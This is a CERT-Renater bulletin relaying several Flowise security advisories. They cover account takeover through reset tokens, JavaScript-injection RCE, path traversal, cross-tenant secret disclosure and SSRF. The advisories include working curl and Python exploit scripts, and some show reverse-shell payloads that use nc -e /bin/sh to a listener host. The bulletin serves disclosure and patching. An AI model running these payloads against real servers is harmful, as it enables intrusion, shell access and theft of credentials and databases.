Ce mail provient de l'extérieur, restons vigilants

=====================================================================

                            CERT-Renater

                Note d'Information No. 2025/VULN610
_____________________________________________________________________

DATE                : 16/09/2025

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S): Systems running flowise (npm) versions prior to
                                      3.0.6.

=====================================================================
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-q67q-549q-p849
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-435c-mg9p-fv22
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-99pg-hqvx-r4gf
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7944-7c6r-55vv
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6933-jpx5-q87q
_____________________________________________________________________


Critical: Unauthenticated Password Reset Token Disclosure Leading
to Account Takeover in Flowise Cloud and Local Deployments

Critical
HenryHengZJ published GHSA-wgpv-6j63-x5ph Sep 12, 2025

Package
flowise (npm)

Affected versions
<3.0.5

Patched versions
3.0.6


Description

Summary

The forgot-password endpoint in Flowise returns sensitive information
including a valid password reset tempToken without authentication or
verification. This enables any attacker to generate a reset token for
arbitrary users and directly reset their password, leading to a
complete account takeover (ATO).

This vulnerability applies to both the cloud service
(cloud.flowiseai.com) and self-hosted/local Flowise deployments that
expose the same API.

CVSS v3.1 Base Score: 9.8 (Critical)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


Details

    The endpoint /api/v1/account/forgot-password accepts an email
address as input.

    Instead of only sending a reset email, the API responds directly
with sensitive user details, including:

        User ID, name, email, hashed credential, status, timestamps.
        A valid tempToken and its expiry, which is intended for
password reset.

    This tempToken can then be reused immediately in the
/api/v1/account/reset-password endpoint to reset the password of the
targeted account without any email verification or user interaction.

    Exploitation requires only the victim’s email address, which is
often guessable or discoverable.

    Because the vulnerable endpoints exist in both Flowise Cloud and
local/self-hosted deployments, any exposed instance is vulnerable to
account takeover.

This effectively allows any unauthenticated attacker to take over
arbitrary accounts (including admin or privileged accounts) by
requesting a reset for their email.


PoC

    Request a reset token for the victim

curl -i -X POST https://<target>/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"<victim@example.com>"}}'

Response (201 Created):

{
  "user": {
    "id": "<redacted-uuid>",
    "name": "<redacted>",
    "email": "<victim@example.com>",
    "credential": "<redacted-hash>",
    "tempToken": "<redacted-tempToken>",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

    Use the exposed tempToken to reset the password

curl -i -X POST https://<target>/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{
        "user":{
          "email":"<victim@example.com>",
          "tempToken":"<redacted-tempToken>",
          "password":"NewSecurePassword123!"
        }
      }'

Expected Result: 200 OK
The victim’s account password is reset, allowing full login.


Impact

    Type: Authentication bypass / Insecure direct object
exposure.

    Impact:
        Any account (including administrator or high-value
accounts) can be reset and taken over with only the email
address.
        Applies to both Flowise Cloud and locally
hosted/self-managed deployments.
        Leads to full account takeover, data exposure,
impersonation, and possible control over organizational
assets.
        High likelihood of exploitation since no prior
access or user interaction is required.


Recommended Remediation

    Do not return reset tokens or sensitive account
details in API responses. Tokens must only be delivered
securely via the registered email channel.
    Ensure forgot-password responds with a generic
success message regardless of input, to avoid user
enumeration.
    Require strong validation of the tempToken (e.g.,
single-use, short expiry, tied to request origin,
validated against email delivery).
    Apply the same fixes to both cloud and
self-hosted/local deployments.
    Log and monitor password reset requests for
suspicious activity.
    Consider multi-factor verification for sensitive accounts.


Credit

⚠️ This is a Critical ATO vulnerability because it
allows attackers to compromise any account with only
knowledge of an email address, and it applies to all
deployment models (cloud and local).


Severity
Critical
10.0/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID
CVE-2025-58434

Weaknesses
No CWEs

Credits

    @zaddy6 zaddy6 Reporter
    @arthurgervais arthurgervais Reporter

_____________________________________________________________________

RCE in Flowise
Critical
HenryHengZJ published GHSA-3gcm-f6qx-ff7p Sep 13, 2025

Package
flowise (npm)

Affected versions
3.0.5

Patched versions
3.0.6


Description

Description

Cause of the Vulnerability

The CustomMCP node allows users to input configuration settings for
connecting to an external MCP (Model Context Protocol) server. This
node parses the user-provided mcpServerConfig string to build the MCP
server configuration. However, during this process, it executes
JavaScript code without any security validation.

Specifically, inside the convertToValidJSONString function, user input
is directly passed to the Function() constructor, which evaluates and
executes the input as JavaScript code. Since this runs with full
Node.js runtime privileges, it can access dangerous modules such as
child_process and fs.


Vulnerability Flow

    User Input Received: Input is provided via the API endpoint
/api/v1/node-load-method/customMCP through the mcpServerConfig
parameter.
    Variable Substitution: The substituteVariablesInString function
replaces template variables like $vars.xxx, but no security filtering
is applied during this step.
    Dangerous Code Execution: The convertToValidJSONString function
executes the input using Function('return ' + inputString)(). If the
inputString contains malicious code, it gets executed in the global
Node.js context, allowing actions such as command execution and file
system access.

Taint Flow

    Taint 01: Route Registration
    index.ts (Line 5)

    Taint 02: Controller
    index.ts (Line 57–78)

    Taint 03: Service
    index.ts (Line 91–94)

    Taint 04: CustomMCP Node Entry Point
    CustomMCP.ts (Line 132)

    Taint 05: Variable Substitution
    CustomMCP.ts (Line 220)

    Taint 06: Dangerous Constructor Execution
    CustomMCP.ts (Line 262–270)

Proof of Concept (PoC)

curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \
  -d '{
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"echo !!RCE-OK!! >/tmp/RCE.txt\");return 1;})()})"
    }
  }'

image

When executed, this creates a file /tmp/RCE.txt on the server,
confirming command execution.


Impact
Complete System Takeover and Infrastructure Threat

This vulnerability allows attackers to execute arbitrary
JavaScript code on the Flowise server, leading to:

    Full system compromise
    File system access
    Command execution
    Sensitive data exfiltration

As only an API token is required, this poses an extreme
security risk to business continuity and customer data.

Severity
Critical
10.O/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID
No known CVE

Weaknesses
Weakness CWE-94


Credits

    @im-soohyun im-soohyun Reporter

_____________________________________________________________________

Arbitrary file access due to missing chat flow id validation
Critical
HenryHengZJ published GHSA-q67q-549q-p849 Sep 13, 2025

Package
flowise (npm)

Affected versions
<= 2.2.8

Patched versions
3.0.6

Description

Summary

Missing chat flow id validation allows an attacker to access
arbitrary file.


Details

Commit 8bd3de4 and c2b830f added check for filename when handling
file upload operations to prevent path traversal, and additional
validation of chatflowId and chatId from route
/api/v1/attachments. In some cases, however, chatflowId and
chatId are not validated to ensure they are UUIDs or numbers,
which may lead to security issues.

Case 1

When creating new chatflow via /api/v1/chatflows, function
addBase64FilesToStorage is called if there exists base64 file
data. Although the filename is sanitized, the chatflowid comes
from request body directly without any validation. An attacker
could exploit the path traversal here to write arbitrary file
with controlled data.

export const addBase64FilesToStorage = async (fileBase64: string, chatflowid: string, fileNames: string[]) => {
    // ...
    } else {
        const dir = path.join(getStoragePath(), chatflowid)  // path traversal here
        if (!fs.existsSync(dir)) {
            fs.mkdirSync(dir, { recursive: true })
        }

        const splitDataURI = fileBase64.split(',')
        const filename = splitDataURI.pop()?.split(':')[1] ?? ''
        const bf = Buffer.from(splitDataURI.pop() || '', 'base64')
        const sanitizedFilename = _sanitizeFilename(filename)

        const filePath = path.join(dir, sanitizedFilename)
        fs.writeFileSync(filePath, bf)
        fileNames.push(sanitizedFilename)
        return 'FILE-STORAGE::' + JSON.stringify(fileNames)
    }
}

Case 2

When downloading file via /api/v1/openai-assistants-file/download
or /api/v1/get-upload-file, function streamStorageFile is
called to retrieve file data from local or cloud bucket. The
chatflowId and chatId are used for file path generation. Take
Amazon S3 as an example, its [documentation indicates]
(https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines)
that ../ will be treated as relative path.

Note that these APIs are in WHITELIST_URLS, an attacker may
traverse user storage files without authentication.

PoC

Launch app at localhost with default config, then run the
following python script, a file named 'pwn' will be written
to dir /tmp with content 'Hello, World!'.

import requests
import json
url = "http://localhost:8080/api/v1/chatflows"
headers = {"x-request-from": "internal"}
nodedata = {
  "category" : "Document Loaders",
  "inputs" : {
    "key" : "data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==,a:pwn"
  }
}
flownode = {
  "id" : "a",
  "data" : nodedata
}
flowdata = {
  "nodes" : [flownode],
  "edges" : [],
  "viewport" : {
    "x" : 1,
    "y" : 1,
    "zoom" : 1
  }
}
data = {
  "id" : "../../../../../tmp",
  "name" : "name",
  "flowData" : json.dumps(flowdata)
}
res = requests.post(url, json=data, headers=headers)


Impact

    Arbitrary file read / write
    Remote Code Execution
    Data loss


Severity
Critical
9.8/ 10
CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID
No known CVE
Weaknesses
No CWEs
Credits

    @rpie9 rpie9 Reporter

_____________________________________________________________________


Critical Multi-Tenant Variable Disclosure in Flowise Cloud via Custom
JavaScript Function
Critical
HenryHengZJ published GHSA-435c-mg9p-fv22 Sep 12, 2025

Package
flowise (flowise cloud)

Affected versions
cloud-hosted (as of July 2025)

Patched versions
cloud-hosted (as of Aug 2025)


Description

This vulnerability was discovered by researchers at Check Point .We
are sharing this report as part of a responsible disclosure process
and are happy to assist in validation and remediation if needed.


Summary

An authenticated vulnerability in Flowise Cloud
https://cloud.flowiseai.com allows any user on the free tier to
access sensitive environment variables from other tenants via the
Custom JavaScript Function node. This includes secrets such as
OpenAI API keys, AWS credentials, Supabase tokens, and Google
Cloud secrets — resulting in a full cross-tenant data exposure.


Details

The issue exists in Flowise Cloud (cloud.flowiseai.com) under
the POST /api/v1/node-custom-function endpoint. When using the
Custom JavaScript Function node, the $vars object is injected
into the execution context. This object is supposed to contain
only the current workspace's environment variables, but in
reality, it contains variables from all other tenants on the
platform.

Even users with no configured variables in their workspace can
run the following payload to extract hundreds of unrelated
secrets:

{
  "javascriptFunction": "try { return Object.keys($vars).length + ' total variables: ' + Object.keys($vars).join(', '); } catch(e) { return e.toString(); }"
}

We retrieved 514 variable names, including:
• OPENAI_API_KEY
• AWS_SECRET_ACCESS_KEY
• GMAIL_APP_PASSWORD
• SUPABASE_SERVICE_ROLE_KEY
• GOOGLE_CLIENT_SECRET
• SLACK_BOT_TOKEN


PoC

    Create a free-tier Flowise Cloud account
    Send POST request to /api/v1/node-custom-function with
below body:

image

Resulting in:
image

Also, we can use below payload to get value for specific
variable (OPENAI_API_KEY):

image

Output:
image


Impact

This is a critical multi-tenant security flaw. Any
authenticated user can access environment variables from
other customers, leading to:

• Credential leakage
• Abuse of paid third-party APIs (OpenAI, AWS, Google, etc.)
• Access to internal database URIs
• Potential lateral movement or user data compromise

We strongly recommend urgent remediation and revocation of
leaked credentials.


Severity
Critical
9.6/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

CVE ID
No known CVE

Weaknesses
Weakness CWE-200
Weakness CWE-284

Credits

    @chaandrey chaandrey Reporter

_____________________________________________________________________


Arbitrary File Read
Critical
HenryHengZJ published GHSA-99pg-hqvx-r4gf Sep 13, 2025
Package
flowise (
npm
)
Affected versions
3.0.5
Patched versions
3.0.6
Description
Summary

An arbitrary file read vulnerability in the chatId parameter supplied
to both the /api/v1/get-upload-file and
/api/v1/openai-assistants-file/download endpoints allows
unauthenticated users to read unintended files on the local
filesystem. In the default Flowise configuration this allows reading
of the local sqlite db and subsequent compromise of all database
content.


Details

Both the /api/v1/get-upload-file and
/api/v1/openai-assistants-file/download endpoints accept the chatId
parameter and pass this to a subsequent call to streamStorageFile().

const chatflowId = req.query.chatflowId as string
const chatId = req.query.chatId as string
const fileName = req.query.fileName as string

...
 const fileStream = await streamStorageFile(chatflowId, chatId, fileName, orgId)

While streamStorageFile validates that the chatflowId is a UUID and
strips traversal sequences from fileName, it performs no validation
of chatId.

    // Validate chatflowId
    if (!chatflowId || !isValidUUID(chatflowId)) {
        throw new Error('Invalid chatflowId format - must be a valid UUID')
    }

    // Check for path traversal attempts
    if (isPathTraversal(chatflowId)) {
        throw new Error('Invalid path characters detected in chatflowId')
    }
...
    const sanitizedFilename = sanitize(fileName)
...
	const filePath = path.join(getStoragePath(), orgId, chatflowId, chatId, sanitizedFilename)

There is validation that the resulting filePath is restricted to the
/root/.flowise/storage directory.

if (!filePath.startsWith(getStoragePath())) throw new Error(`Invalid file path`)

However, if the file is not found in the specified path, the orgId
value is removed from the filePath and reattempted.

        if (fs.existsSync(filePath)) {
            return fs.createReadStream(filePath)
        } else {
            // Fallback: Check if file exists without orgId
            const fallbackPath = path.join(getStoragePath(), chatflowId, chatId, sanitizedFilename)

            if (fs.existsSync(fallbackPath)) {
                // Create directory if it doesn't exist
                const dir = path.dirname(filePath)
                if (!fs.existsSync(dir)) {
                    fs.mkdirSync(dir, { recursive: true })
                }

                // Copy file to correct location with orgId
                fs.copyFileSync(fallbackPath, filePath)

                // Delete the old file
                fs.unlinkSync(fallbackPath)

                // Clean up empty directories recursively
                _cleanEmptyLocalFolders(path.join(getStoragePath(), chatflowId, chatId))

                return fs.createReadStream(filePath)

As this fallback path is read after the /root/.flowise/storage check,
this allows an additional level of traversal up to /root/.flowise/.
As a result, this allows reading of /root/.flowise/database.sqlite,
which contains all database content in the default Flowise
configuration.


REQUEST

GET /api/v1/get-upload-file?chatflowId=188903b1-d06d-4f93-9415-400015b87146&chatId=../.././&fileName=database.sqlite HTTP/1.1
Host: 127.0.0.1:3000

RESPONSE

HTTP/1.1 200 OK
Vary: Origin
Access-Control-Allow-Credentials: true
Content-Disposition: attachment; filename="database.sqlite"
Date: Tue, 22 Jul 2025 06:43:51 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 385024

SQLite format 3������@  ���6���^���A�������Õ���������������������������������������������������6�.r¢��ö���Ú����Z�û�ì�ñ�æ�à�Ú�Û	����Ï�l���
�Í�����S�=�*�'�'���������������������������������������������������������������������������������������������������������������������������������������������;,��O)��indexsqlite_autoindex_docume
...

Similarly, for /api/v1/openai-assistants-file/download:
REQUEST

POST /api/v1/openai-assistants-file/download HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Content-Length: 100

{"chatflowId":"c5c63474-e757-4fca-a504-d54e84c309bb","chatId":"/../..","fileName":"database.sqlite"}

RESPONSE

HTTP/1.1 200 OK
Vary: Origin
Access-Control-Allow-Credentials: true
Content-Disposition: attachment; filename="database.sqlite"
Date: Tue, 22 Jul 2025 08:55:25 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 385024

SQLite format 3������@  ���6���^���A�������Õ���������������������������������������������������6�.r¢��ö���Ú����Z�û�ì�ñ�æ�à�Ú�Û	
...

This includes all API keys used by the application (apiKey table),
which can be used to gain administrative access.

As the fallback logic attempts to move the file to the initially
checked directory, this results in the server permanently being
unable to make new read or write operations until the file is
moved and the server is restarted.

Interaction with these endpoints requires knowledge of a valid
chatflowId. As a UUID, this is inherently unguessable. However,
the /api/v1/vector/upsert/ endpoint can be used without a
chatflowId, defaulting to the first ID available. This endpoint
returns a verbose error when receiving a malformed filename,
revealing the full internal file path and the associated
chatflowId.


REQUEST

POST /api/v1/vector/upsert/ HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 172
Connection: keep-alive

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="?"
Content-Type: text/plain


------WebKitFormBoundary7MA4YWxkTrZu0gW--

RESPONSE

HTTP/1.1 500 Internal Server Error
Vary: Origin
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: 240
ETag: W/"f0-khSyqlT3NYLMJGjdchTl6Iwqe4U"
Date: Tue, 22 Jul 2025 08:14:20 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"statusCode":500,"success":false,"message":"Error: vectorsService.upsertVector - EISDIR: illegal operation on a directory, open '/root/.flowise/storage/07b5d2bd-9b5c-4de3-b234-4fe4357051c9/188903b1-d06d-4f93-9415-400015b87146'","stack":{}}

In this case the UUID is revealed as
188903b1-d06d-4f93-9415-400015b87146, which can then be
used to exploit the file read vulnerability.


PoC

Run Flowise:

docker run --rm  -p 3000:3000 flowiseai/flowise

Complete install & create a Chatflow:
image

Save this script to read.py:

import argparse
import re
import requests

def read_file(url, file_path, proxy):
    base_url = url
    proxies = {'http': proxy, 'https': proxy} if proxy else None

    print(f">> starting exploit against {base_url}")
    if proxy:
        print(f">> using proxy: {proxy}")

    try:
        print("[*] step 1: leaking chatflowid")
        initial_headers = {}
        files = {'files': ('?', 'asdf', 'text/plain')}
        response = requests.post(f"{base_url}/api/v1/vector/upsert/", files=files, headers=initial_headers, timeout=10, proxies=proxies)
        chatflow_id_matches = re.findall(r'([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})', response.json().get("message", ""))
        if len(chatflow_id_matches) < 2:
            print("[-] failed to leak chatflowid.")
            return
        chatflow_id = chatflow_id_matches[1]
        print(f"[+] got chatflowid: {chatflow_id}")

        print(f"[*] step 2: reading file: {file_path}")
        internal_headers = {'x-request-from': 'internal'}
        params = {'chatflowId': chatflow_id, 'chatId': '/../../', 'fileName': file_path}
        response = requests.get(f"{base_url}/api/v1/get-upload-file", params=params, headers=internal_headers, timeout=10, proxies=proxies)
        
        if response.status_code != 200:
            print(f"[-] failed to read file (status: {response.status_code}).")
            print(response.text)
            return
        
        file_content = response.text
        print(f"[+] successfully read file ({len(response.content)} bytes).")
        print("\n--- file content ---")
        print(file_content)
        print("--------------------\n")

    except requests.exceptions.RequestException as e:
        print(f"\n[-] an unexpected error occurred: {e}")
    except Exception as e:
        print(f"\n[-] an unexpected error occurred: {e}")
        return

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Read arbitrary files")
    parser.add_argument("-u", "--url", type=str, required=True, help="target base url (e.g., http://127.0.0.1:3000)")
    parser.add_argument("-f", "--file", type=str, required=True, help="path of the file to read on the server (e.g., database.sqlite)")
    parser.add_argument("-x", "--proxy", type=str, help="proxy to use (e.g., http://127.0.0.1:8080)")

    args = parser.parse_args()
    read_file(args.url, args.file, args.proxy)

Run the script against http://127.0.0.1:3000:

python3 read.py -u http://127.0.0.1:3000 -f database.sqlite
>> starting exploit against http://127.0.0.1:3000
[*] step 1: leaking chatflowid
[+] got chatflowid: c5c63474-e757-4fca-a504-d54e84c309bb
[*] step 2: reading file: database.sqlite
[+] successfully read file (385024 bytes).

--- file content ---
ÕÇêS=*'';,O)indexsqlite_autoindex...


Impact

This allows any unauthenticated user to extract all database
content from a default installation of Flowise. This includes
API keys, which can be used to gain administrative access.


Severity
Critical
9.1/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

CVE ID
No known CVE

Weaknesses
No CWEs

Credits

    @dwbzn dwbzn Reporter

_____________________________________________________________________


FlowiseAI Pre-Auth Arbitrary Code Execution
Critical
HenryHengZJ published GHSA-7944-7c6r-55vv Sep 13, 2025

Package
flowise (npm)

Affected versions
3.0.5

Patched versions
3.0.6


Description

Summary

An authenticated admin user of FlowiseAI can exploit the Supabase
RPC Filter component to execute arbitrary server-side code without
restriction. By injecting a malicious payload into the filter
expression field, the attacker can directly trigger JavaScript's
execSync() to launch reverse shells, access environment secrets,
or perform any OS-level command execution.

This results in full server compromise and severe breach of trust
boundaries between frontend input and backend execution logic.


Details

FlowiseAI includes a component called Supabase.ts, located at:
packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237

image(3)

This creates a function from user-provided string
supabaseRPCFilter with no filtering, escaping, or sandboxing
in place. Any injected JavaScript in this string is compiled
and executed immediately when the node is triggered.


Exploit

We configured our environment to use Supabase entities as
follows:

image(4)

To confirm the vulnerability, a filter expression was crafted
to forcibly raise an error and expose sensitive environment
variables:

image(5)

image-1
image-2

This results in the JWT secret being printed to the frontend,
confirming access to server-side environment variables.

Subsequently, a reverse shell was successfully established using:

filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)
image(6)

This proves arbitrary OS-level command execution is possible
within the FlowiseAI backend runtime context.

Steps to Reproduce

    Deploy a FlowiseAI instance with the Supabase vector store
enabled.

    Login as an admin user.

    Drag in a Supabase node and configure "Supabase RPC Filter".

    Insert a malicious payload in the filter expression, such as:

    process.mainModule.require("child_process").execSync("id")

    Trigger the chatbot or workflow to activate the node.

    Observe execution of arbitrary code on the backend.


Impact

    Remote Code Execution (RCE): Full OS-level code execution
from frontend user input.
    Environment Leakage: Access to sensitive env variables like
JWT_REFRESH_TOKEN_SECRET.
    Reverse Shells: Ability to connect out of the server and
gain interactive remote shell access.
    Persistence Risk: Attacker can install malware, establish
persistence, or exfiltrate data.
    LLM Prompt Tampering: Malicious outputs may be injected
back into LLM chains.


Trust Boundary Violation

The vulnerability breaks the boundary between frontend node
configuration and backend execution logic. An attacker-supplied
value (supabaseRPCFilter) becomes part of compiled JavaScript
logic, blending user-controlled input with trusted backend
execution.

This violates OWASP LLM Top 10 - LLM-06: Sensitive Code
Execution, especially in low-code / visual LLM agents.


Evidence

Environment variable leakage via malformed JSON

Reverse shell successfully triggered using attacker-controlled
input


Credit

This report was prepared by Team 404 Not Found 퇴근 (WhiteHat
School 3rd cohort, South Korea)

Severity
Critical
9.1/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CVE ID
No known CVE

Weaknesses
Weakness CWE-94

Credits

    @Dipper37701 Dipper37701 Reporter

_____________________________________________________________________


Unsandboxed RCE via Custom MCP
High
HenryHengZJ published GHSA-6933-jpx5-q87q Sep 13, 2025

Package
flowise (npm)

Affected versions
<= 2.2.7-patch.1

Patched versions
3.0.6


Description

Summary

The Custom MCPs feature is designed to execute OS commands, for
instance, using tools like npx to spin up local MCP Servers.
However, Flowise's inherent authentication and authorization
model is minimal and lacks role-based access controls (RBAC).
Furthermore, the default installation of Flowise operates
without authentication unless explicitly configured using the
FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables.

This combination presents a significant security risk,
potentially allowing users on the platform to execute
unsandboxed system commands. This can result in Remote Code
Execution (RCE) and complete compromise of the running
platform container or server.
PoC

    Follow the provided instructions for running the app using
Docker Compose (or other methods of your choosing such as npx,
pnpm, etc):
    https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker

    Create a new file named payload.json somewhere in your
machine, with the following data:

{"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"}

    Send the following curl request using the payload.json file
created above with the following command:

curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"

    Observe that a new file named yofitofi is created under /tmp folder.

Similarily, we can use the same technique to gain a reverse shell
using the built-in nc utility with the following JSON payload:

{"inputs":{"mcpServerConfig":{"command": "nc","args": [
"<LISTENER_IP_ADDRESS>","<LISTENER_PORT>","-e","/bin/sh"
]}},
"loadMethod":"listActions"}

Pasted image 20250420132335


Impact

Remote code execution


Mitigation

    Consider adding additional access controls surronding sensitive
functionality such as Custom MCP, e.g. only users with "Admin" roles
will be able to configure new Custom MCPs within the platform.

    Consider disabling the Custom MCP feature by default, with a
clear disclaimer for end users on the implications of enabling this
feature.
    Consider running Custom MCPs within a sandboxed environment


Credit

The vulnerability was discovered by Assaf Levkovich of the JFrog
Security Research team.


Severity
High

CVE ID
No known CVE

Weaknesses
No CWEs


Credits

    @assaf-levkovich-jf assaf-levkovich-jf Reporter

_____________________________________________________________________

SSRF in FlowiseAI/Flosise
High
HenryHengZJ published GHSA-hr92-4q35-4j3m Sep 13, 2025

Package
flowise (npm)

Affected versions
3.0.5

Patched versions
3.0.6


Description

Summary

A Server-Side Request Forgery (SSRF) vulnerability was discovered
in the /api/v1/fetch-links endpoint of the Flowise application.
This vulnerability allows an attacker to use the Flowise server
as a proxy to access internal network web services and explore
their link structures. The impact includes the potential exposure
of sensitive internal administrative endpoints.


Details

Vulnerability Overview

The fetch-links feature in Flowise is designed to extract links
from external websites or XML sitemaps. It performs an HTTP
request from the server to the user-supplied URL and parses the
response (HTML or XML) to extract and return links.

The issue arises because the feature performs these HTTP requests
without validating the user-supplied URL. In particular, when
the relativeLinksMethod parameter is set to webCrawl or xmlScrape,
the server directly calls the fetch() function with the provided
URL, making it vulnerable to SSRF attacks.


Root Cause

The fetch() function is called without URL validation or
restriction, which enables attackers to redirect the server
to internal services.

Taint Flow

• Taint 01: Route Registration

Flowise/packages/server/src/controllers/fetch-links/index.ts

Lines 6 to 24 in 5930f11
 const getAllLinks = async (req: Request, res: Response, next: NextFunction) => { 
     try { 
         if (typeof req.query === 'undefined' || !req.query.url) { 
             throw new InternalFlowiseError(StatusCodes.PRECONDITION_FAILED, `Error: fetchLinksController.getAllLinks - url not provided!`) 
         } 
         if (typeof req.query === 'undefined' || !req.query.relativeLinksMethod) { 
             throw new InternalFlowiseError( 
                 StatusCodes.PRECONDITION_FAILED, 
                 `Error: fetchLinksController.getAllLinks - relativeLinksMethod not provided!` 
             ) 
         } 
         if (typeof req.query === 'undefined' || !req.query.limit) { 
             throw new InternalFlowiseError(StatusCodes.PRECONDITION_FAILED, `Error: fetchLinksController.getAllLinks - limit not provided!`) 
         } 
         const apiResponse = await fetchLinksService.getAllLinks( 
             req.query.url as string, 
             req.query.relativeLinksMethod as string, 
             req.query.limit as string 
         ) 

• Taint 02: Service

Flowise/packages/server/src/services/fetch-links/index.ts

Lines 8 to 18 in 5930f11
 const url = decodeURIComponent(requestUrl) 
 if (!relativeLinksMethod) { 
     throw new InternalFlowiseError( 
         StatusCodes.INTERNAL_SERVER_ERROR, 
         `Please choose a Relative Links Method in Additional Parameters!` 
     ) 
 } 
 const limit = parseInt(queryLimit) 
 if (process.env.DEBUG === 'true') console.info(`Start ${relativeLinksMethod}`) 
 const links: string[] = relativeLinksMethod === 'webCrawl' ? await webCrawl(url, limit) : await xmlScrape(url, limit) 
 if (process.env.DEBUG === 'true') console.info(`Finish ${relativeLinksMethod}`) 

• Taint 03: xmlScrape

Flowise/packages/components/src/utils.ts

Lines 474 to 478 in 5930f11
 export async function xmlScrape(currentURL: string, limit: number): Promise<string[]> { 
     let urls: string[] = [] 
     if (process.env.DEBUG === 'true') console.info(`actively scarping ${currentURL}`) 
     try { 
         const resp = await fetch(currentURL) 


PoC

PoC Description

This vulnerability was verified in a local development environment. The
Flowise server was running at http://localhost:3000, and authentication
was performed using the Bearer token:

tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q

Upon a successful attack, the Flowise server returned the entire link
structure of the internal admin panel in JSON format. The response
included sensitive administrative URLs such as:

    /api/users (User Management)
    /api/secrets (API Keys)
    /api/database (Database Config)

This demonstrated that an attacker could enumerate internal web
service structures.


Internal Admin Server (Mock)

from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/')
def admin():
    return render_template_string("""
    <html>
    <h1>Internal Admin Panel</h1>
    <ul>
        <li><a href="/api/users">User Management</a></li>
        <li><a href="/api/secrets">API Keys</a></li>
        <li><a href="/api/database">Database Config</a></li>
        <li><a href="/api/logs">System Logs</a></li>
    </ul>
    """)

@app.route('/api/users')
def users():
    return render_template_string("""
    <html>
    <h1>Users</h1>
    <ul>
        <li><a href="/api/users/admin">admin (root)</a></li>
        <li><a href="/api/users/operator">operator</a></li>
    </ul>
    <a href="/">Back</a>
    """)

@app.route('/api/secrets')
def secrets():
    return render_template_string("""
    <html>
    <h1>Secrets</h1>
    <ul>
        <li><a href="/api/secrets/db_key">DB Key: sk-1234567890abcdef</a></li>
        <li><a href="/api/secrets/aws_key">AWS Key: AKIAIOSFODNN7EXAMPLE</a></li>
    </ul>
    <a href="/">Back</a>
    """)

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8080)

curl Request Example

curl -G 'http://localhost:3000/api/v1/fetch-links' \
     --data-urlencode 'url=http://127.0.0.1:8080/' \
     --data-urlencode 'relativeLinksMethod=webCrawl' \
     --data-urlencode 'limit=10' \
     -H 'Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q' \
     -s | jq '.'

image
Impact

This is a Server-Side Request Forgery (SSRF) vulnerability.

